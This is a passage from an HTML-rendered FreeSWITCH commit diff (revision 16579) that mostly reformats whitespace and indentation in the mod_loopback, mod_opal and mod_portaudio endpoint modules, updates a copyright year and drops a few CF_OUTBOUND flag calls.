</ins><span class="cx">         switch (msg-&gt;message_id) {
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_ANSWER:
</span><span class="cx">                 if (tech_pvt-&gt;other_channel &amp;&amp; !switch_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
</span><span class="lines">@@ -734,7 +720,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_BRIDGE:
</span><span class="cx">                 {
</span><del>-                        switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);                        
</del><ins>+                        switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
</span><span class="lines">@@ -767,17 +753,18 @@
</span><span class="cx"> 
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><del>-    default:
-        break;
-    }
-        
</del><ins>+        default:
+                break;
+        }
</ins><span class="cx"> 
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         char name[128];
</span><span class="cx"> 
</span><span class="lines">@@ -808,7 +795,7 @@
</span><span class="cx">                         switch_core_session_destroy(new_session);
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (outbound_profile) {
</span><span class="cx">                         char *dialplan = NULL, *context = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -833,7 +820,7 @@
</span><span class="cx"> 
</span><span class="cx">                         if ((context = strchr(caller_profile-&gt;destination_number, '/'))) {
</span><span class="cx">                                 *context++ = '\0';
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((dialplan = strchr(context, '/'))) {
</span><span class="cx">                                         *dialplan++ = '\0';
</span><span class="cx">                                 }
</span><span class="lines">@@ -846,7 +833,7 @@
</span><span class="cx">                                         caller_profile-&gt;dialplan = switch_core_strdup(caller_profile-&gt;pool, dialplan);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(caller_profile-&gt;context)) {
</span><span class="cx">                                 caller_profile-&gt;context = switch_core_strdup(caller_profile-&gt;pool, &quot;default&quot;);
</span><span class="cx">                         }
</span><span class="lines">@@ -857,7 +844,6 @@
</span><span class="cx"> 
</span><span class="cx">                         switch_snprintf(name, sizeof(name), &quot;loopback/%s-a&quot;, caller_profile-&gt;destination_number);
</span><span class="cx">                         switch_channel_set_name(channel, name);
</span><del>-                        switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                         switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">                         switch_channel_set_caller_profile(channel, caller_profile);
</span><span class="cx">                         tech_pvt-&gt;caller_profile = caller_profile;
</span><span class="lines">@@ -866,9 +852,9 @@
</span><span class="cx">                         switch_core_session_destroy(new_session);
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_state(channel, CS_INIT);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 return SWITCH_CAUSE_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -885,10 +871,9 @@
</span><span class="cx">         /*.on_consume_media */ channel_on_consume_media,
</span><span class="cx">         /*.on_hibernate */ channel_on_hibernate,
</span><span class="cx">         /*.on_reset */ channel_on_reset,
</span><del>-        /*.on_park*/ NULL,
-    /*.on_reporting*/ NULL,
-    /*.on_destroy*/ channel_on_destroy
-
</del><ins>+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static switch_io_routines_t channel_io_routines = {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_opalmod_opalh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -54,101 +54,97 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> struct mod_opal_globals {
</span><del>-    int trace_level;
-    char *codec_string;
-    char *context;
-    char *dialplan;
</del><ins>+        int trace_level;
+        char *codec_string;
+        char *context;
+        char *dialplan;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> extern struct mod_opal_globals mod_opal_globals;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-class FSProcess : public PLibraryProcess {
-    PCLASSINFO(FSProcess, PLibraryProcess);
</del><ins>+class FSProcess:public PLibraryProcess {
+        PCLASSINFO(FSProcess, PLibraryProcess);
</ins><span class="cx"> 
</span><del>- public:
-    FSProcess();
-    ~FSProcess();
</del><ins>+  public:
+        FSProcess();
+        ~FSProcess();
</ins><span class="cx"> 
</span><del>-    bool Initialise(switch_loadable_module_interface_t *iface);
</del><ins>+        bool Initialise(switch_loadable_module_interface_t *iface);
</ins><span class="cx"> 
</span><del>-    FSManager &amp; GetManager() const { return *m_manager; }
-
-  protected:
-    FSManager * m_manager;
</del><ins>+             FSManager &amp; GetManager() const {
+                return *m_manager;
+  } protected:
+              FSManager * m_manager;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> struct FSListener {
</span><del>-    FSListener() {
-    }
-
-    PString name;
-    OpalTransportAddress listenAddress;
-    PString localUserName;
-    PString gatekeeper;
</del><ins>+        FSListener() {
+        } PString name;
+        OpalTransportAddress listenAddress;
+        PString localUserName;
+        PString gatekeeper;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-class FSCall : public OpalCall {
-    PCLASSINFO(FSCall, OpalCall);
</del><ins>+class FSCall:public OpalCall {
+        PCLASSINFO(FSCall, OpalCall);
</ins><span class="cx">   public:
</span><del>-    FSCall(OpalManager &amp; manager);
-    virtual PBoolean OnSetUp(OpalConnection &amp; connection);
</del><ins>+        FSCall(OpalManager &amp; manager);
+        virtual PBoolean OnSetUp(OpalConnection &amp; connection);
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-class FSManager : public OpalManager {
-    PCLASSINFO(FSManager, OpalManager);
</del><ins>+class FSManager:public OpalManager {
+        PCLASSINFO(FSManager, OpalManager);
</ins><span class="cx"> 
</span><del>- public:
-    FSManager();
</del><ins>+  public:
+        FSManager();
</ins><span class="cx"> 
</span><del>-    bool Initialise(switch_loadable_module_interface_t *iface);
</del><ins>+        bool Initialise(switch_loadable_module_interface_t *iface);
</ins><span class="cx"> 
</span><del>-    switch_status_t ReadConfig(int reload);
</del><ins>+        switch_status_t ReadConfig(int reload);
</ins><span class="cx"> 
</span><del>-    switch_endpoint_interface_t *GetSwitchInterface() const {
-        return m_FreeSwitch;
-    }
</del><ins>+        switch_endpoint_interface_t *GetSwitchInterface() const {
+                return m_FreeSwitch;
+        } virtual OpalCall *CreateCall(void *userData);
</ins><span class="cx"> 
</span><del>-    virtual OpalCall * CreateCall(void * userData);
-
</del><span class="cx">   private:
</span><del>-    switch_endpoint_interface_t *m_FreeSwitch;
</del><ins>+        switch_endpoint_interface_t *m_FreeSwitch;
</ins><span class="cx"> 
</span><del>-    H323EndPoint *m_h323ep;
-    IAX2EndPoint *m_iaxep;
-    FSEndPoint   *m_fsep;
</del><ins>+        H323EndPoint *m_h323ep;
+        IAX2EndPoint *m_iaxep;
+        FSEndPoint *m_fsep;
</ins><span class="cx"> 
</span><del>-    PString m_gkAddress;
-    PString m_gkIdentifer;
-    PString m_gkInterface;
</del><ins>+        PString m_gkAddress;
+        PString m_gkIdentifer;
+        PString m_gkInterface;
</ins><span class="cx"> 
</span><del>-    list &lt; FSListener &gt; m_listeners;
</del><ins>+                list &lt; FSListener &gt; m_listeners;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> class FSConnection;
</span><span class="cx"> typedef struct {
</span><del>-    switch_timer_t read_timer;
-    switch_codec_t read_codec;
-    switch_codec_t write_codec;
</del><ins>+        switch_timer_t read_timer;
+        switch_codec_t read_codec;
+        switch_codec_t write_codec;
</ins><span class="cx"> 
</span><del>-    switch_timer_t vid_read_timer;
-    switch_codec_t vid_read_codec;
-    switch_codec_t vid_write_codec;
-    FSConnection *me;
</del><ins>+        switch_timer_t vid_read_timer;
+        switch_codec_t vid_read_codec;
+        switch_codec_t vid_write_codec;
+        FSConnection *me;
</ins><span class="cx"> } opal_private_t;
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> class FSEndPoint:public OpalLocalEndPoint {
</span><del>-    PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
- public:
-    FSEndPoint(FSManager &amp; manager);
</del><ins>+        PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
+  public:
+        FSEndPoint(FSManager &amp; manager);
</ins><span class="cx"> 
</span><del>-    virtual bool OnIncomingCall(OpalLocalConnection &amp;);
-    virtual OpalLocalConnection *CreateConnection(OpalCall &amp; call, void * userData, unsigned options, OpalConnection::StringOptions* stringOptions);
</del><ins>+        virtual bool OnIncomingCall(OpalLocalConnection &amp;);
+        virtual OpalLocalConnection *CreateConnection(OpalCall &amp; call, void *userData, unsigned options, OpalConnection::StringOptions * stringOptions);
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -174,93 +170,89 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> class FSConnection:public OpalLocalConnection {
</span><del>-    PCLASSINFO(FSConnection, OpalLocalConnection)
</del><ins>+        PCLASSINFO(FSConnection, OpalLocalConnection)
</ins><span class="cx"> 
</span><span class="cx">   public:
</span><del>-    FSConnection(OpalCall &amp; call,
-                 FSEndPoint &amp; endpoint,
-                 void* userData,
-                 unsigned options,
-                 OpalConnection::StringOptions* stringOptions,
-                 switch_caller_profile_t *outbound_profile,
-                 switch_core_session_t *fsSession,
-                 switch_channel_t *fsChannel);
</del><ins>+        FSConnection(OpalCall &amp; call,
+                                 FSEndPoint &amp; endpoint,
+                                 void *userData,
+                                 unsigned options,
+                                 OpalConnection::StringOptions * stringOptions,
+                                 switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
</ins><span class="cx"> 
</span><del>-    virtual bool OnIncoming();
-    virtual void OnReleased();
-    virtual PBoolean SetAlerting(const PString &amp; calleeName, PBoolean withMedia);
-    virtual void OnAlerting();
-    virtual void OnEstablished();
-    virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &amp;, unsigned, PBoolean);
-    virtual PBoolean OnOpenMediaStream(OpalMediaStream &amp; stream);
-    virtual OpalMediaFormatList GetMediaFormats() const;
-    virtual PBoolean SendUserInputTone(char tone, unsigned duration);
-    virtual PBoolean SendUserInputString(const PString &amp; value);
</del><ins>+        virtual bool OnIncoming();
+        virtual void OnReleased();
+        virtual PBoolean SetAlerting(const PString &amp; calleeName, PBoolean withMedia);
+        virtual void OnAlerting();
+        virtual void OnEstablished();
+        virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &amp;, unsigned, PBoolean);
+        virtual PBoolean OnOpenMediaStream(OpalMediaStream &amp; stream);
+        virtual OpalMediaFormatList GetMediaFormats() const;
+        virtual PBoolean SendUserInputTone(char tone, unsigned duration);
+        virtual PBoolean SendUserInputString(const PString &amp; value);
</ins><span class="cx"> 
</span><del>-    void SetCodecs();
</del><ins>+        void SetCodecs();
</ins><span class="cx"> 
</span><del>-    DECLARE_CALLBACK0(on_init);
-    DECLARE_CALLBACK0(on_routing);
-    DECLARE_CALLBACK0(on_execute);
</del><ins>+             DECLARE_CALLBACK0(on_init);
+             DECLARE_CALLBACK0(on_routing);
+             DECLARE_CALLBACK0(on_execute);
</ins><span class="cx"> 
</span><del>-    DECLARE_CALLBACK0(on_exchange_media);
-    DECLARE_CALLBACK0(on_soft_execute);
</del><ins>+             DECLARE_CALLBACK0(on_exchange_media);
+             DECLARE_CALLBACK0(on_soft_execute);
</ins><span class="cx"> 
</span><del>-    DECLARE_CALLBACK1(kill_channel, int, sig);
-    DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
-    DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
-    DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
-    DECLARE_CALLBACK0(state_change);
-    DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
-    DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
-    DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
-    DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
</del><ins>+             DECLARE_CALLBACK1(kill_channel, int, sig);
+            DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
+                      DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
+                                      DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
+                       DECLARE_CALLBACK0(state_change);
+                       DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
+            DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
+            DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
+            DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
</ins><span class="cx"> 
</span><del>-    switch_status_t read_frame(const OpalMediaType &amp; mediaType, switch_frame_t **frame, switch_io_flag_t flags);
-    switch_status_t write_frame(const OpalMediaType &amp; mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
</del><ins>+        switch_status_t read_frame(const OpalMediaType &amp; mediaType, switch_frame_t **frame, switch_io_flag_t flags);
+        switch_status_t write_frame(const OpalMediaType &amp; mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
</ins><span class="cx"> 
</span><del>-    switch_core_session_t *GetSession() const {
-        return m_fsSession;
-    }
-
-  private:
-    FSEndPoint &amp; m_endpoint;
-    switch_core_session_t *m_fsSession;
-    switch_channel_t *m_fsChannel;
-    PSyncPoint m_rxAudioOpened;
-    PSyncPoint m_txAudioOpened;
-    OpalMediaFormatList m_switchMediaFormats;
</del><ins>+        switch_core_session_t *GetSession() const {
+                return m_fsSession;
+  } private:
+              FSEndPoint &amp; m_endpoint;
+        switch_core_session_t *m_fsSession;
+        switch_channel_t *m_fsChannel;
+        PSyncPoint m_rxAudioOpened;
+        PSyncPoint m_txAudioOpened;
+        OpalMediaFormatList m_switchMediaFormats;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> class FSMediaStream:public OpalMediaStream {
</span><del>-    PCLASSINFO(FSMediaStream, OpalMediaStream);
- public:
-    FSMediaStream(FSConnection &amp; conn, const OpalMediaFormat &amp; mediaFormat, ///&lt;  Media format for stream
-                  unsigned sessionID,   ///&lt;  Session number for stream
-                  bool isSource ///&lt;  Is a source stream
-                  );
</del><ins>+        PCLASSINFO(FSMediaStream, OpalMediaStream);
+  public:
+        FSMediaStream(FSConnection &amp; conn, const OpalMediaFormat &amp; mediaFormat,        ///&lt;  Media format for stream
+                                  unsigned sessionID,        ///&lt;  Session number for stream
+                                  bool isSource        ///&lt;  Is a source stream
+                );
</ins><span class="cx"> 
</span><del>-    virtual PBoolean Open();
-    virtual PBoolean Close();
-    virtual PBoolean IsSynchronous() const;
-    virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
</del><ins>+        virtual PBoolean Open();
+        virtual PBoolean Close();
+        virtual PBoolean IsSynchronous() const;
+        virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
</ins><span class="cx"> 
</span><del>-    switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
-    switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
</del><ins>+        switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
+        switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
</ins><span class="cx"> 
</span><del>- private:
-    switch_core_session_t *m_fsSession;
-    switch_channel_t *m_fsChannel;
-    switch_timer_t *m_switchTimer;
-    switch_codec_t *m_switchCodec;
-    switch_frame_t m_readFrame;
-    unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
-    RTP_DataFrame m_readRTP;
-    bool m_callOnStart;
-    uint32_t m_timeStamp;
</del><ins>+  private:
+        switch_core_session_t *m_fsSession;
+        switch_channel_t *m_fsChannel;
+        switch_timer_t *m_switchTimer;
+        switch_codec_t *m_switchCodec;
+        switch_frame_t m_readFrame;
+        unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+        RTP_DataFrame m_readRTP;
+        bool m_callOnStart;
+        uint32_t m_timeStamp;
</ins><span class="cx"> 
</span><del>-    bool CheckPatchAndLock();
</del><ins>+        bool CheckPatchAndLock();
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_portaudiomod_portaudioc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -159,7 +159,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -316,13 +317,15 @@
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t channel_on_routing(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s CHANNEL ROUTING\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s CHANNEL ROUTING\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t channel_on_execute(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s CHANNEL EXECUTE\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s CHANNEL EXECUTE\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -350,7 +353,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void destroy_codecs(void) 
</del><ins>+static void destroy_codecs(void)
</ins><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         if (switch_core_codec_ready(&amp;globals.read_codec)) {
</span><span class="lines">@@ -404,7 +407,7 @@
</span><span class="cx">         if (*tech_pvt-&gt;call_id == '\0') {
</span><span class="cx">                 switch_mutex_lock(globals.pa_mutex);
</span><span class="cx">                 switch_snprintf(tech_pvt-&gt;call_id, sizeof(tech_pvt-&gt;call_id), &quot;%d&quot;, ++globals.call_id);
</span><del>-                switch_channel_set_variable(switch_core_session_get_channel(tech_pvt-&gt;session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt-&gt;call_id);
</del><ins>+                switch_channel_set_variable(switch_core_session_get_channel(tech_pvt-&gt;session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt-&gt;call_id);
</ins><span class="cx">                 switch_core_hash_insert(globals.call_hash, tech_pvt-&gt;call_id, tech_pvt);
</span><span class="cx">                 switch_core_session_set_read_codec(tech_pvt-&gt;session, &amp;globals.read_codec);
</span><span class="cx">                 switch_core_session_set_write_codec(tech_pvt-&gt;session, &amp;globals.write_codec);
</span><span class="lines">@@ -486,7 +489,7 @@
</span><span class="cx"> {
</span><span class="cx">         private_t *tech_pvt = switch_core_session_get_private(session);
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.pa_mutex);
</span><span class="cx">         switch_core_hash_delete(globals.call_hash, tech_pvt-&gt;call_id);
</span><span class="cx">         switch_mutex_unlock(globals.pa_mutex);
</span><span class="lines">@@ -498,7 +501,8 @@
</span><span class="cx"> 
</span><span class="cx">         tech_close_file(tech_pvt);
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s CHANNEL HANGUP\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s CHANNEL HANGUP\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -563,11 +567,11 @@
</span><span class="cx">         if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
</span><span class="cx">                 goto cng_wait;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!is_master(tech_pvt)) {
</span><span class="cx">                 if (tech_pvt-&gt;hold_file) {
</span><span class="cx">                         switch_size_t olen = globals.read_codec.implementation-&gt;samples_per_packet;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!tech_pvt-&gt;hfh) {
</span><span class="cx">                                 int sample_rate = globals.sample_rate;
</span><span class="cx">                                 if (switch_core_file_open(&amp;tech_pvt-&gt;fh,
</span><span class="lines">@@ -612,12 +616,11 @@
</span><span class="cx">         if (tech_pvt-&gt;hfh) {
</span><span class="cx">                 tech_close_file(tech_pvt);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.device_lock);
</span><del>-        samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
-                                                          globals.read_codec.implementation-&gt;samples_per_packet, &amp;globals.read_timer);
</del><ins>+        samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data, globals.read_codec.implementation-&gt;samples_per_packet, &amp;globals.read_timer);
</ins><span class="cx">         switch_mutex_unlock(globals.device_lock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (samples) {
</span><span class="cx">                 globals.read_frame.datalen = samples * 2;
</span><span class="cx">                 globals.read_frame.samples = samples;
</span><span class="lines">@@ -631,19 +634,19 @@
</span><span class="cx">         } else {
</span><span class="cx">                 goto cng_nowait;
</span><span class="cx">         }
</span><del>-        
- normal_return:
</del><ins>+
+  normal_return:
</ins><span class="cx">         return status;
</span><span class="cx"> 
</span><del>- cng_nowait:
</del><ins>+  cng_nowait:
</ins><span class="cx">         *frame = &amp;globals.cng_frame;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><del>- cng_wait:
</del><ins>+  cng_wait:
</ins><span class="cx">         switch_core_timer_next(&amp;globals.hold_timer);
</span><span class="cx">         *frame = &amp;globals.cng_frame;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
</span><span class="lines">@@ -706,13 +709,12 @@
</span><span class="cx">         /*.on_hangup */ channel_on_hangup,
</span><span class="cx">         /*.on_exchange_media */ channel_on_exchange_media,
</span><span class="cx">         /*.on_soft_execute */ channel_on_soft_execute,
</span><del>-        /*.on_consume_media*/ NULL,
-    /*.on_hibernate*/ NULL,
-    /*.on_reset*/ NULL,
-    /*.on_park*/ NULL,
-    /*.on_reporting*/ NULL,
-    /*.on_destroy*/ channel_on_destroy
-
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> switch_io_routines_t portaudio_io_routines = {
</span><span class="lines">@@ -729,7 +731,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         if ((*new_session = switch_core_session_request(portaudio_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
</span><span class="lines">@@ -771,7 +774,6 @@
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">                 switch_channel_set_state(channel, CS_INIT);
</span><span class="cx">                 return SWITCH_CAUSE_SUCCESS;
</span><span class="lines">@@ -808,7 +810,7 @@
</span><span class="cx"> #if defined(sun) || defined(__sun)
</span><span class="cx">         globals.dual_streams = 0;
</span><span class="cx"> #endif
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return status;
</span><span class="cx">         }
</span><span class="lines">@@ -949,7 +951,7 @@
</span><span class="cx">         if (!globals.dialplan) {
</span><span class="cx">                 set_global_dialplan(&quot;XML&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!globals.context) {
</span><span class="cx">                 set_global_context(&quot;default&quot;);
</span><span class="cx">         }
</span><span class="lines">@@ -1008,14 +1010,14 @@
</span><span class="cx">         deactivate_audio_device();
</span><span class="cx">         deactivate_ring_device();
</span><span class="cx">         destroy_codecs();
</span><del>-        
</del><ins>+
</ins><span class="cx">         Pa_Terminate();
</span><span class="cx">         switch_core_hash_destroy(&amp;globals.call_hash);
</span><span class="cx"> 
</span><span class="cx">         switch_event_free_subclass(MY_EVENT_RINGING);
</span><span class="cx">         switch_event_free_subclass(MY_EVENT_MAKE_CALL);
</span><span class="cx">         switch_event_free_subclass(MY_EVENT_ERROR_AUDIO_DEV);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(globals.dialplan);
</span><span class="cx">         switch_safe_free(globals.context);
</span><span class="cx">         switch_safe_free(globals.cid_name);
